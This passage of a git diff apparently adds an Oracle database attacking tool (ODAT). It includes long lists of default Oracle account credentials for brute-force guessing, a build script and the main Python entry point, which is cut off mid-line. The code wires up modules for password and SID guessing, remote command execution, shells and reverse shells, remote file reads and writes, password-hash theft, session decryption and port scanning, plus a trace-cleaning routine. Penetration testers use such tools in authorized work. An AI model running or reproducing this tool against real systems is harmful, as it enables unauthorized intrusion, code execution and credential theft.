+QS_WS/QS_WS +QS_WS/UNKNOWN +REPADMIN/REPADMIN +REP_MANAGER/DEMO +REPORTS/REPORTS +REPORTS_USER/OEM_TEMP +REP_OWNER/DEMO +REP_OWNER/REP_OWNER +REP_USER/DEMO +RE/RE +RG/RG +RHX/RHX +RLA/RLA +RLM/RLM +RMAIL/RMAIL +RMAN/RMAN +ROOT/ROOT +RRS/RRS +SAMPLE/SAMPLE +SAP/06071992 +SAPR3/SAP +SAP/SAPR3 +SCOTT/TIGER +SCOTT/TIGGER +SDOS_ICSAP/SDOS_ICSAP +SECDEMO/SECDEMO +SERVICECONSUMER1/SERVICECONSUMER1 +SH/CHANGE_ON_INSTALL +SH/SH +SH/UNKNOWN +SI_INFORMTN_SCHEMA/SI_INFORMTN_SCHEMA +SITEMINDER/SITEMINDER +SLIDE/SLIDEPW +SPIERSON/SPIERSON +SSP/SSP +STARTER/STARTER +STRAT_USER/STRAT_PASSWD +SWPRO/SWPRO +SWUSER/SWUSER +SYMPA/SYMPA +SYS/0RACL3 +SYS/0RACL38 +SYS/0RACL38I +SYS/0RACL39 +SYS/0RACL39I +SYS/0RACLE +SYS/0RACLE8 +SYS/0RACLE8I +SYS/0RACLE9 +SYS/0RACLE9I +SYSADMIN/SYSADMIN +SYSADMIN/ +SYSADM/SYSADM +SYS/CHANGE_ON_INSTALL +SYS/D_SYSPW +SYS/MANAG3R +SYS/MANAGER +SYSMAN/OEM_TEMP +SYSMAN/SYSMAN +SYS/ORACL3 +SYS/ORACLE +SYS/ORACLE8 +SYS/ORACLE8I +SYS/ORACLE9 +SYS/ORACLE9I +SYS/SYS +SYS/SYSPASS +SYSTEM/0RACL3 +SYSTEM/0RACL38 +SYSTEM/0RACL38I +SYSTEM/0RACL39 +SYSTEM/0RACL39I +SYSTEM/0RACLE +SYSTEM/0RACLE8 +SYSTEM/0RACLE8I +SYSTEM/0RACLE9 +SYSTEM/0RACLE9I +SYSTEM/CHANGE_ON_INSTALL +SYSTEM/D_SYSPW +SYSTEM/D_SYSTPW +SYSTEM/MANAG3R +SYSTEM/MANAGER +SYSTEM/ORACL3 +SYSTEM/ORACLE +SYSTEM/ORACLE8 +SYSTEM/ORACLE8I +SYSTEM/ORACLE9 +SYSTEM/ORACLE9I +SYSTEM/SYSTEM +SYSTEM/SYSTEMPASS +TAHITI/TAHITI +TALBOT/MT6CH5 +TDOS_ICSAP/TDOS_ICSAP +TEC/TECTEC +TEST/PASSWD +TESTPILOT/TESTPILOT +TEST/TEST +TEST_USER/TEST_USER +THINSAMPLE/THINSAMPLEPW +TIBCO/TIBCO +TIP37/TIP37 +TRACESVR/TRACE +TRAVEL/TRAVEL +TSDEV/TSDEV +TSUSER/TSUSER +TURBINE/TURBINE +UDDISYS/ +ULTIMATE/ULTIMATE +UM_ADMIN/UM_ADMIN +UM_CLIENT/UM_CLIENT +USER0/USER0 +USER1/USER1 +USER2/USER2 +USER3/USER3 +USER4/USER4 +USER5/USER5 +USER6/USER6 +USER7/USER7 +USER8/USER8 +USER9/USER9 +USER_NAME/PASSWORD +USER/USER +USUARIO/CLAVE +UTILITY/UTILITY +UTLBSTATU/UTLESTAT +VEA/VEA +VEH/VEH +VERTEX_LOGIN/VERTEX_LOGIN +VIDEOUSER/VIDEOUSER +VIF_DEVELOPER/VIF_DEV_PWD +VIRUSER/VIRUSER +VPD_ADMIN/AKF7D98S2 +VRR1/UNKNOWN +VRR1/VRR1 +VRR1/VRR2 +WEBCAL01/WEBCAL01 +WEBDB/WEBDB +WEBREAD/WEBREAD +WEBSYS/MANAGER +WEBUSER/YOUR_PASS +WEST/WEST +WFADMIN/WFADMIN +WH/WH +WIP/WIP +WIRELESS/ +WKADMIN/WKADMIN +WKPROXY/CHANGE_ON_INSTALL +WK_PROXY/ +WKPROXY/UNKNOWN +WKPROXY/WKPROXY +WKSYS/CHANGE_ON_INSTALL +WK_SYS/ +WKSYS/WKSYS +WK_TEST/WK_TEST +WKUSER/WKUSER +WMS/WMS +WMSYS/WMSYS +WOB/WOB +WPS/WPS +WSH/WSH +WSM/WSM +WWWUSER/WWWUSER +WWW/WWW +XADEMO/XADEMO +XDB/CHANGE_ON_INSTALL +XDB/XDB +XDP/XDP +XLA/XLA +XNC/XNC +XNI/XNI +XNM/XNM +XNP/XNP +XNS/XNS +XPRT/XPRT +XTR/XTR +SYS/oracle diff --git a/accounts_small.txt b/accounts_small.txt new file mode 100644 index 0000000..4c56ac5 --- /dev/null +++ b/accounts_small.txt @@ -0,0 +1,131 @@ +ANONYMOUS/ANONYMOUS +APPLSYS/APPLSYS +APPS/APPS +AQ/AQ +AQDEMO/AQDEMO +AQJAVA/AQJAVA +AQUSER/AQUSER +AR/AR +ASP/ASP +BRIO_ADMIN/BRIO_ADMIN +BSC/BSC +CCT/CCT +CENTRAL/CENTRAL +CN/CN +CTXSYS/CTXSYS +DBI/MUMBLEFRATZ +DBSNMP/DBSNMP +DEV2000_DEMOS/DEV2000_DEMOS +DIP/DIP +DMSYS/DMSYS +DSSYS/DSSYS +DTSP/DTSP +ESTOREUSER/ESTORE +EVENT/EVENT +EVM/EVM +EXFSYS/EXFSYS +FA/FA +FINPROD/FINPROD +FRM/FRM +FROSTY/SNOWMAN +FTE/FTE +HXT/HXT +JOHN/JOHN +JONES/STEEL +LIBRARIAN/SHELVES +MGR/MGR +MGWUSER/MGWUSER +MIGRATE/MIGRATE +MILLER/MILLER +MOREAU/MOREAU +OCM_DB_ADMIN/ +ODM_MTR/MTRPW +ODM/ODM +ODSCOMMON/ODSCOMMON +ODS/ODS +ODS_SERVER/ODS_SERVER +OE/CHANGE_ON_INSTALL +OE/OE +OPI/OPI +ORACACHE/ORACACHE +ORACACHE/ +ORACLE/ORACLE +ORACLE_OCM/ORACLE_OCM +ORADBA/ORADBAPASS +OTA/OTA +OUTLN/OUTLN +OWA/OWA +OWA_PUBLIC/OWA_PUBLIC +OWF_MGR/OWF_MGR +OWF_MGR/ +OWNER/OWNER +PATROL/PATROL +PAUL/PAUL +PERFSTAT/PERFSTAT +PERSTAT/PERSTAT +PJM/PJM +PLANNING/PLANNING +PLEX/PLEX +PLSQL/SUPERSECRET +PM/CHANGE_ON_INSTALL +ROOT/ROOT +RRS/RRS +SAMPLE/SAMPLE +SAP/06071992 +SAPR3/SAP +SAP/SAPR3 +SCOTT/TIGER +SCOTT/TIGGER +SDOS_ICSAP/SDOS_ICSAP +SECDEMO/SECDEMO +SERVICECONSUMER1/SERVICECONSUMER1 +SH/CHANGE_ON_INSTALL +SH/SH +SH/UNKNOWN +SPIERSON/SPIERSON +SSP/SSP +SWUSER/SWUSER +SYMPA/SYMPA +SYSADMIN/SYSADMIN +SYSADMIN/ +SYSADM/SYSADM +SYSMAN/OEM_TEMP +SYSMAN/SYSMAN +SYS/SYS +SYSTEM/ORACLE8I +SYSTEM/ORACLE9 +SYSTEM/ORACLE9I +SYSTEM/SYSTEM +SYSTEM/SYSTEMPASS +TDOS_ICSAP/TDOS_ICSAP +TIBCO/TIBCO +TRACESVR/TRACE +TSUSER/TSUSER +UDDISYS/ +ULTIMATE/ULTIMATE +UM_ADMIN/UM_ADMIN +UM_CLIENT/UM_CLIENT +USER_NAME/PASSWORD +WEBSYS/MANAGER +WEBUSER/YOUR_PASS +WEST/WEST +WFADMIN/WFADMIN +WH/WH +WPS/WPS +WSH/WSH +WSM/WSM +WWWUSER/WWWUSER +WWW/WWW +XADEMO/XADEMO +XDB/CHANGE_ON_INSTALL +XDB/XDB +XDP/XDP +XLA/XLA +XNC/XNC +XNI/XNI +XNM/XNM +XNP/XNP +XNS/XNS +XPRT/XPRT +XTR/XTR +SYS/oracle diff --git a/createALinuxBinary.sh b/createALinuxBinary.sh new file mode 100755 index 0000000..23f3d75 --- /dev/null +++ b/createALinuxBinary.sh @@ -0,0 +1,27 @@ +#/bin/bash + +GLIBC_VERSION=`ldd --version | grep ldd | cut -d ' ' -f 5` +VERSION="libc$GLIBC_VERSION-`uname -m`" +echo $NAME +#Creation +pyinstaller --clean --onedir --noconfirm --distpath="./build/linux/" --workpath="./build/" --name="odat-$VERSION" odat.py --additional-hooks-dir='/usr/lib/python2.7/dist-packages/scapy/layers/' --strip +#Add a librarie manually +cp "$ORACLE_HOME"/lib/libociei.so ./build/linux/odat-$VERSION/libociei.so +#Required files +cp accounts.txt ./build/linux/odat-$VERSION/accounts.txt +cp accounts_small.txt ./build/linux/odat-$VERSION/accounts_small.txt +cp sids.txt ./build/linux/odat-$VERSION/sids.txt +chmod a+x ./build/linux/odat-$VERSION/libociei.so +#Suppression des traces +rm -R build/odat-$VERSION/ +#Compress directory +cd ./build/linux/ +ls -l +export GZIP=-9 +tar -cvzf "./odat-linux-$VERSION.tar.gz" ./odat-$VERSION/ +read -p "Do you want delete no compressed data (Y or y for yes)? " -n 1 -r +echo +if [[ $REPLY =~ ^[Yy]$ ]] +then + rm -r ./odat-$VERSION/ +fi diff --git a/odat-libc2.19-i686.spec b/odat-libc2.19-i686.spec new file mode 100644 index 0000000..13d169d --- /dev/null +++ b/odat-libc2.19-i686.spec @@ -0,0 +1,22 @@ +# -*- mode: python -*- +a = Analysis(['odat.py'], + pathex=['/home/odat/odat'], + hiddenimports=[], + hookspath=['/usr/lib/python2.7/dist-packages/scapy/layers/'], + runtime_hooks=None) +pyz = PYZ(a.pure) +exe = EXE(pyz, + a.scripts, + exclude_binaries=True, + name='odat-libc2.19-i686', + debug=False, + strip=True, + upx=True, + console=True ) +coll = COLLECT(exe, + a.binaries, + a.zipfiles, + a.datas, + strip=True, + upx=True, + name='odat-libc2.19-i686') diff --git a/odat-libc2.19-x86_64.spec b/odat-libc2.19-x86_64.spec new file mode 100644 index 0000000..a887bb2 --- /dev/null +++ b/odat-libc2.19-x86_64.spec @@ -0,0 +1,22 @@ +# -*- mode: python -*- +a = Analysis(['odat.py'], + pathex=['/home/bobsecurity/repo-pentest-brutus/ODSCCT/odat'], + hiddenimports=[], + hookspath=['/usr/lib/python2.7/dist-packages/scapy/layers/'], + runtime_hooks=None) +pyz = PYZ(a.pure) +exe = EXE(pyz, + a.scripts, + exclude_binaries=True, + name='odat-libc2.19-x86_64', + debug=False, + strip=True, + upx=True, + console=True ) +coll = COLLECT(exe, + a.binaries, + a.zipfiles, + a.datas, + strip=True, + upx=True, + name='odat-libc2.19-x86_64') diff --git a/odat.py b/odat.py new file mode 100755 index 0000000..7348c93 --- /dev/null +++ b/odat.py @@ -0,0 +1,373 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +#PYTHON_ARGCOMPLETE_OK +try: + import argcomplete + ARGCOMPLETE_AVAILABLE = True +except ImportError: + ARGCOMPLETE_AVAILABLE = False +#PYTHON_COLORLOG_OK +try: + from colorlog import ColoredFormatter + COLORLOG_AVAILABLE = True +except ImportError: + COLORLOG_AVAILABLE = False + +import argparse, logging, platform, cx_Oracle, string, os +from Utils import areEquals, configureLogging,ErrorSQLRequest, sidHasBeenGiven, anAccountIsGiven, ipHasBeenGiven +from sys import exit,stdout + +from Constants import * +from Output import Output +from UtlFile import UtlFile, runUtlFileModule +from DbmsAdvisor import DbmsAdvisor,runDbmsadvisorModule +from DbmsScheduler import DbmsScheduler,runDbmsSchedulerModule +from UtlHttp import UtlHttp,runUtlHttpModule +from HttpUriType import HttpUriType,runHttpUriTypeModule +from Java import Java,runjavaModule +from Info import Info +from PasswordGuesser import PasswordGuesser, runPasswordGuesserModule +from SIDGuesser import SIDGuesser, runSIDGuesserModule +from SMB import SMB +from Ctxsys import Ctxsys,runCtxsysModule +from Passwords import Passwords,runPasswordsModule +from DbmsXslprocessor import DbmsXslprocessor,runDbmsXslprocessorModule +from ExternalTable import ExternalTable,runExternalTableModule +from UtlTcp import UtlTcp,runUtlTcpModule +from CVE_2012_3137 import CVE_2012_3137,runCVE20123137Module +from Oradbg import Oradbg,runOradbgModule +from UsernameLikePassword import UsernameLikePassword,runUsernameLikePassword + +def runClean (args): + ''' + Clean traces and logs + ''' + nbFileDeleted, nbFileToDelete = 0, 0 + exts=(PASSWORD_EXTENSION_FILE,CHALLENGE_EXT_FILE) + pathOfOdat = os.path.dirname(os.path.abspath(__file__)) + for root, dirs, files in os.walk(pathOfOdat): + for currentFile in files: + logging.debug("Processing file: {0}".format(currentFile)) + if any(currentFile.lower().endswith(ext) for ext in exts): + rep = raw_input("Do you want to delete this file (Y for yes): {0}/{1}? ".format(root, currentFile)) + if rep.replace('\n','') == 'Y' : + os.remove(os.path.join(root, currentFile)) + logging.info("Removing {0}/{1}".format(root, currentFile)) + nbFileDeleted += 1 + nbFileToDelete += 1 + args['print'].goodNews("Finish: {0}/{1} file(s) deleted".format(nbFileDeleted, nbFileToDelete)) + +def runAllModules(args): + ''' + Run all modules + ''' + connectionInformation, validSIDsList = {}, [] + #A)SID MANAGEMENT + if args['sid'] == None : + validSIDsList = runSIDGuesserModule(args) + args['user'], args['password'] = None, None + else : + validSIDsList = [args['sid']] + #B)ACCOUNT MANAGEMENT + if args['user'] == None and args['password'] == None: + for sid in validSIDsList: + args['print'].title("Searching valid accounts on the {0} SID".format(sid)) + args['sid'] = sid + passwordGuesser = PasswordGuesser(args,args['accounts-file']) + passwordGuesser.searchValideAccounts() + validAccountsList = passwordGuesser.valideAccounts + if validAccountsList == {}: + args['print'].badNews("No found a valid account on {0}:{1}/{2}".format(args['server'], args['port'], args['sid'])) + exit(EXIT_NO_ACCOUNTS) + else : + args['print'].goodNews("Accounts found on {0}:{1}/{2}: {3}".format(args['server'], args['port'], args['sid'],validAccountsList)) + for aLogin, aPassword in validAccountsList.items(): + if connectionInformation.has_key(sid) == False: connectionInformation[sid] = [[aLogin,aPassword]] + else : connectionInformation[sid].append([aLogin,aPassword]) + else : + validAccountsList = {args['user']:args['password']} + for aSid in validSIDsList: + for aLogin, aPassword in validAccountsList.items(): + if connectionInformation.has_key(aSid) == False: connectionInformation[aSid] = [[aLogin,aPassword]] + else : connectionInformation[aSid].append([aLogin,aPassword]) + #C)ALL OTHERS MODULES + if sidHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT + elif anAccountIsGiven(args) == False : return EXIT_MISS_ARGUMENT + for aSid in connectionInformation.keys(): + for loginAndPass in connectionInformation[aSid]: + args['sid'] , args['user'], args['password'] = aSid, loginAndPass[0],loginAndPass[1] + args['print'].title("Testing all modules on the {0} SID with the {1}/{2} account".format(args['sid'],args['user'],args['password'])) + #INFO ABOUT REMOTE SERVER + info = Info(args) + status = info.connection() + if isinstance(status,Exception): + args['print'].badNews("Impossible to connect to the remote database: {0}".format(str(status).replace('\n',''))) + break + info.loadInformationRemoteDatabase() + args['info'] = info + #UTL_HTTP + utlHttp = UtlHttp(args) + status = utlHttp.connection() + utlHttp.testAll() + #HTTPURITYPE + httpUriType = HttpUriType(args) + httpUriType.testAll() + #UTL_FILE + utlFile = UtlFile(args) + utlFile.testAll() + #JAVA + java = Java(args) + java.testAll() + #DBMS ADVISOR + dbmsAdvisor = DbmsAdvisor(args) + dbmsAdvisor.testAll() + #DBMS Scheduler + dbmsScheduler = DbmsScheduler(args) + dbmsScheduler.testAll() + #CTXSYS + ctxsys = Ctxsys(args) + ctxsys.testAll() + #Passwords + passwords = Passwords(args) + passwords.testAll() + #DbmsXmldom + dbmsXslprocessor = DbmsXslprocessor(args) + dbmsXslprocessor.testAll() + #External Table + externalTable = ExternalTable(args) + externalTable.testAll() + #Oradbg + oradbg = Oradbg(args) + oradbg.testAll() + oradbg.close() #Close the socket to the remote database + #CVE_2012_3137 + cve = CVE_2012_3137 (args) + cve.testAll() + #usernamelikepassword + args['run'] = True + runUsernameLikePassword(args) + +def configureLogging(args): + ''' + Configure le logging + ''' + logformatNoColor = "%(asctime)s %(levelname)-3s -: %(message)s" + logformatColor = "%(bg_black)s%(asctime)s%(reset)s %(log_color)s%(levelname)-3s%(reset)s %(bold_black)s-:%(reset)s %(log_color)s%(message)s%(reset)s"#%(bold_black)s%(name)s:%(reset)s + datefmt = "%H:%M:%S" + #Set log level + if args['verbose']==0: level=logging.WARNING + elif args['verbose']==1: level=logging.INFO + elif args['verbose']>=2: level=logging.DEBUG + #Define color for logs + if args['no-color'] == False and COLORLOG_AVAILABLE==True: + formatter = ColoredFormatter(logformatColor, datefmt=datefmt,log_colors={'CRITICAL': 'bold_red', 'ERROR': 'red', 'WARNING': 'yellow'}) + else : + formatter = logging.Formatter(logformatNoColor, datefmt=datefmt) + stream = logging.StreamHandler() + #stream.setLevel(level) + stream.setFormatter(formatter) + root = logging.getLogger() + root.setLevel(level) + root.addHandler(stream) + +def main(): + #Parse Args + parser = argparse.ArgumentParser(description=DESCRIPTION, formatter_class=argparse.RawTextHelpFormatter) + #1- Parent parsers + parser.add_argument('--version', action='version', version=CURRENT_VERSION) + #1.0- Parent parser: optional + PPoptional = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPoptional._optionals.title = "optional arguments" + PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='enable verbosity') + PPoptional.add_argument('--sleep', dest='timeSleep', required=False, type=float, default=DEFAULT_TIME_SLEEP, help='time sleep between each test or request (default: %(default)s)') + #1.1- Parent parser: connection options + PPconnection = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPconnection._optionals.title = "connection options" + PPconnection.add_argument('-s', dest='server', required=True, help='server') + PPconnection.add_argument('-p', dest='port', default=1521, required=False, help='port (Default 1521)') + PPconnection.add_argument('-U', dest='user', required=False, help='Oracle username') + PPconnection.add_argument('-P', dest='password', required=False, default=None, help='Oracle password') + PPconnection.add_argument('-d', dest='sid', required=False, help='Oracle System ID (SID)') + PPconnection.add_argument('--sysdba', dest='SYSDBA', action='store_true', default=False, help='connection as SYSDBA') + PPconnection.add_argument('--sysoper', dest='SYSOPER', action='store_true', default=False, help='connection as SYSOPER') + #1.2- Parent parser: output options + PPoutput = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPoutput._optionals.title = "output configurations" + PPoutput.add_argument('--no-color', dest='no-color', required=False, action='store_true', help='no color for output') + PPoutput.add_argument('--output-file',dest='outputFile',default=None,required=False,help='save results in this file') + #1.3- Parent parser: SID Guesser + PPsidguesser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPsidguesser._optionals.title = "SID guesser options" + PPsidguesser.add_argument('--sids-max-size',dest='sids-max-size',required=False, type=int, default=DEFAULT_SID_MAX_SIZE, help='maximum size of SIDs for the bruteforce (default: %(default)s)') + PPsidguesser.add_argument('--sid-charset',dest='sid-charset',required=False, default=DEFAULT_SID_CHARSET, help='charset for the sid bruteforce (default: %(default)s)') + PPsidguesser.add_argument('--sids-file',dest='sids-file',required=False,metavar="FILE",default=DEFAULT_SID_FILE, help='file containing SIDs (default: %(default)s)') + PPsidguesser.add_argument('--no-alias-like-sid',dest='no-alias-like-sid',action='store_true',required=False, help='no try listener ALIAS like SIDs (default: %(default)s)') + #1.4- Parent parser: Password Guesser + PPpassguesser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPpassguesser._optionals.title = "password guesser options" + PPpassguesser.add_argument('--accounts-file',dest='accounts-file',required=False,metavar="FILE",default=DEFAULT_ACCOUNT_FILE,help='file containing Oracle credentials (default: %(default)s)') + PPpassguesser.add_argument('--force-retry',dest='force-retry',action='store_true',help='allow to test multiple passwords for a user without ask you') + #1.5- Parent parser: URL_HTTP + PPutlhttp = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPutlhttp._optionals.title = "http commands" + PPutlhttp.add_argument('--send',dest='send',default=None,required=False,nargs=3,metavar=('ip','port','namefile'),help='send the GET or POST request stored in namefile to ip:port') + PPutlhttp.add_argument('--scan-ports',dest='scan-ports',default=None,required=False,nargs=2,metavar=('ip','ports'),help='scan tcp ports of a remote engine') + PPutlhttp.add_argument('--save-reponse',dest='save-reponse',default=None,required=False,metavar='FILE',help='store the response server in this file') + PPutlhttp.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.5- Parent parser: HTTPURITYPE + PPhttpuritype = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPhttpuritype._optionals.title = "http commands" + PPhttpuritype.add_argument('--url',dest='httpUrl',default=None,required=False,help='send a http GET request') + PPhttpuritype.add_argument('--scan-ports',dest='scan-ports',default=None,required=False,nargs=2,metavar=('ip','ports'),help='scan tcp ports of a remote engine') + PPhttpuritype.add_argument('--save-reponse',dest='save-reponse',default=None,required=False,metavar='FILE',help='store the response server in this file') + PPhttpuritype.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.6- Parent parser: DBSMAdvisor + PPdbmsadvisor = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPdbmsadvisor._optionals.title = "DBMSAdvisor commands" + PPdbmsadvisor.add_argument('--putFile',dest='putFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='put a file on the remote database server') + PPdbmsadvisor.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.7- Parent parser: DBSMScheduler + PPdbmsscheduler = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPdbmsscheduler._optionals.title = "DBMSScheduler commands" + PPdbmsscheduler.add_argument('--exec',dest='exec',default=None,required=False,help='execute a system command on the remote system') + PPdbmsscheduler.add_argument('--reverse-shell',dest='reverse-shell',required=False,nargs=2,metavar=('ip','port'),help='get a reverse shell') + PPdbmsscheduler.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.8- Parent parser: Java + PPjava = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPjava._optionals.title = "java commands" + PPjava.add_argument('--exec',dest='exec',default=None,required=False,help='execute a system command on the remote system') + PPjava.add_argument('--shell',dest='shell',action='store_true',required=False,help='get a shell on the remote system') + PPjava.add_argument('--reverse-shell',dest='reverse-shell',required=False,nargs=2,metavar=('ip','port'),help='get a reverse shell') + PPjava.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.9- Parent parser: Ctxsys + PPctxsys = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPctxsys._optionals.title = "ctxsys commands" + PPctxsys.add_argument('--getFile',dest='getFile',default=None,required=False,help='read a file on the remote server') + PPctxsys.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.10- Parent parser: Passwords + PPpasswords = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPpasswords._optionals.title = "passwords commands" + PPpasswords.add_argument('--get-passwords',dest='get-passwords',action='store_true',required=False,help='get Oracle hashed passwords') + PPpasswords.add_argument('--get-passwords-from-history',dest='get-passwords-from-history',action='store_true',required=False,help='get Oracle hashed passwords from history') + PPpasswords.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.11- Parent parser: dbmsxslprocessor + PPdbmsxslprocessor = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPdbmsxslprocessor._optionals.title = "DBMSXslprocessor commands" + PPdbmsxslprocessor.add_argument('--putFile',dest='putFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='put a file on the remote database server') + PPdbmsxslprocessor.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.12- Parent parser: externalTable + PPexternaltable = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPexternaltable._optionals.title = "ExternalTable commands" + PPexternaltable.add_argument('--exec',dest='exec',default=None,required=False,nargs=2,metavar=('remotePath','file'),help='execute a system command on the remote system (options no allowed)') + PPexternaltable.add_argument('--getFile',dest='getFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='get a file from the remote database server') + PPexternaltable.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.13- Parent parser: utlfile + PPutlfile = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPutlfile._optionals.title = "utlfile commands" + PPutlfile.add_argument('--getFile',dest='getFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='get a file from the remote database server') + PPutlfile.add_argument('--putFile',dest='putFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteNamefile','localFile'),help='put a file to the remote database server') + PPutlfile.add_argument('--removeFile',dest='removeFile',default=None,required=False,nargs=2,metavar=('remotePath','remoteNamefile'),help='remove a file on the remote database server') + PPutlfile.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.14- Parent parser: UTL_TCP + PPutltcp = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPutltcp._optionals.title = "utltcp commands" + PPutltcp.add_argument('--send-packet',dest='send-packet',default=None,required=False,nargs=3,metavar=('ip','port','filename'),help='send a packet') + PPutltcp.add_argument('--scan-ports',dest='scan-ports',default=None,required=False,nargs=2,metavar=('ip','ports'),help='scan tcp ports of a remote engine') + PPutltcp.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.15- Parent parser: STEAL_REMOTE_PASSWORDS + PPstealRemotePass = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPstealRemotePass._optionals.title = "stealRemotePasswords commands" + PPstealRemotePass.add_argument('-s', dest='server', required=True, help='server') + PPstealRemotePass.add_argument('-p', dest='port', default=1521, required=False, help='port (Default 1521)') + PPstealRemotePass.add_argument('-d', dest='sid', required=False, help='Oracle System ID (SID)') + PPstealRemotePass.add_argument('--get-all-passwords',dest='get-all-passwords',action='store_true',default=None,required=False,help='get all hashed passwords thanks to the user/password list') + PPstealRemotePass.add_argument('--decrypt-sessions',dest='decrypt-sessions',nargs=2,metavar=('sessionList.txt','passwordList.txt'),default=None,required=False,help='decrypt sessions stored in a file') + PPstealRemotePass.add_argument('--user-list',dest='user-list',required=False,metavar="FILE",default=DEFAULT_ACCOUNT_FILE,help='file containing Oracle credentials (default: %(default)s)') + PPstealRemotePass.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.16- Parent parser: Oradbg + PPoradbg = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPoradbg._optionals.title = "oradbg commands" + PPoradbg.add_argument('--exec',dest='exec',default=None,required=False,help='execute a system command on the remote system (no args allowed)') + PPoradbg.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.17- Parent parser: usernamelikepassword + PPusernamelikepassword = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPusernamelikepassword._optionals.title = "usernamelikepassword commands" + PPusernamelikepassword.add_argument('--run',dest='run',action='store_true',required=True,help='try to connect using each Oracle username like the password') + PPusernamelikepassword.add_argument('--force-retry',dest='force-retry',action='store_true',help='allow to test multiple passwords for a user without ask you') + #1.18- Parent parser: clean + PPclean = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPclean._optionals.title = "clean commands" + PPclean.add_argument('--all',dest='all',action='store_true',required=True,help='clean all traces and logs') + #2- main commands + subparsers = parser.add_subparsers(help='\nChoose a main command') + #2.a- Run all modules + parser_all = subparsers.add_parser('all',parents=[PPoptional,PPconnection,PPoutput,PPsidguesser,PPpassguesser],help='to run all modules in order to know what it is possible to do') + parser_all.set_defaults(func=runAllModules,auditType='all') + #2.b- SIDGuesser + parser_sidGuesser = subparsers.add_parser('sidguesser',parents=[PPoptional,PPconnection,PPsidguesser,PPoutput],help='to know valid SIDs') + parser_sidGuesser.set_defaults(func=runSIDGuesserModule,auditType='sidGuesser') + #2.c- PasswordGuesser + parser_passwordGuesser = subparsers.add_parser('passwordguesser',parents=[PPoptional,PPconnection,PPpassguesser,PPoutput],help='to know valid credentials') + parser_passwordGuesser.set_defaults(func=runPasswordGuesserModule,auditType='passwordGuesser') + #2.d- UTL_HTTP + parser_utlhttp = subparsers.add_parser('utlhttp',parents=[PPoptional,PPconnection,PPutlhttp,PPoutput],help='to send HTTP requests or to scan ports') + parser_utlhttp.set_defaults(func=runUtlHttpModule,auditType='utl_http') + #2.e- HTTPURITYPE + parser_httpuritype = subparsers.add_parser('httpuritype',parents=[PPoptional,PPconnection,PPhttpuritype,PPoutput],help='to send HTTP requests or to scan ports') + parser_httpuritype.set_defaults(func=runHttpUriTypeModule,auditType='httpuritype') + #2.e- UTL_TCP + parser_utltcp = subparsers.add_parser('utltcp',parents=[PPoptional,PPconnection,PPutltcp,PPoutput],help='to scan ports') + 